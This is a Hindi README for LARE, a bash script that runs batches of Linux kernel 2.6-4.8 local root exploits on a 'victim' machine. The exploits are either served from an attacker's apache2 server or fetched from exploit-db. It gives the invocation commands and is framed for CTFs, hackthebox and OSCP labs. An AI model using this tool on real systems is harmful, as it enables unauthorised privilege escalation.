LARE

[L]ocal [A]uto [R]oot [E]xploiter एक सरल bash स्क्रिप्ट है जो आपके हमलावर मशीन से स्थानीय रूट एक्सप्लॉइट्स तैनात करने में आपकी मदद करती है जब आपकी पीड़ित मशीन में इंटरनेट कनेक्टिविटी नहीं होती है।

यह स्क्रिप्ट उस परिदृश्य में उपयोगी है जहाँ आपकी पीड़ित मशीन में इंटरनेट कनेक्शन नहीं है (जैसे) जब आप आंतरिक नेटवर्क में पिवट कर रहे हों या CTFs खेल रहे हों जो अपने बंद लैब्स से जुड़ने के लिए VPN का उपयोग करते हैं (जैसे) hackthebox.gr या OSCP लैब्स में भी। स्क्रिप्ट Linux Kernel 2.6-4.8 के लिए स्थानीय रूट एक्सप्लॉइट्स का उपयोग करती है।

यह स्क्रिप्ट Nilotpal Biswas के Auto Root Exploit Tool से प्रेरित है।

उपयोग:

1- बंद नेटवर्क में पीड़ित पर हमला

पहले आपको हमलावर मशीन पर एक्सप्लॉइट आर्सेनल सेट करना होगा और निम्नलिखित कमांड का उपयोग करके apache2 इंस्टेंस शुरू करना होगा। bash LARE.sh -a or ./LARE.sh -a
एक बार यह हो जाने पर, आपको स्क्रिप्ट को किसी भी माध्यम (wget, ftp, curl आदि) से पीड़ित मशीन पर कॉपी करना होगा और निम्नलिखित कमांड से स्थानीय रूप से एक्सप्लॉइटर चलाना होगा: bash LARE.sh -l [Attackers-IP] or ./LARE.sh -l [Attackers-IP]

2- इंटरनेट एक्सेस वाले पीड़ित पर हमला

इस परिदृश्य में स्क्रिप्ट को पीड़ित मशीन पर चलाया जाना है और यह exploit-db के github रिपॉजिटरी से एक्सप्लॉइट्स प्राप्त करेगी और सीधे दोहन के लिए उपयोग करेगी। यह Auto Root Exploit Tool की मूल कार्यक्षमता है जिसमें कुछ बारीक ट्यूनिंग की गई है। एक्सप्लॉइटर को निम्नलिखित कमांड से चलाएँ: bash LARE.sh -l or ./LARE.sh -l

नोट

स्क्रिप्ट मशीन पर कई कर्नेल एक्सप्लॉइट्स चलाती है जिसके परिणामस्वरूप सिस्टम अस्थिर हो सकता है, अत्यधिक अनुशंसा की जाती है कि इसका उपयोग अंतिम उपाय के रूप में और गैर-उत्पादन वातावरण में किया जाए।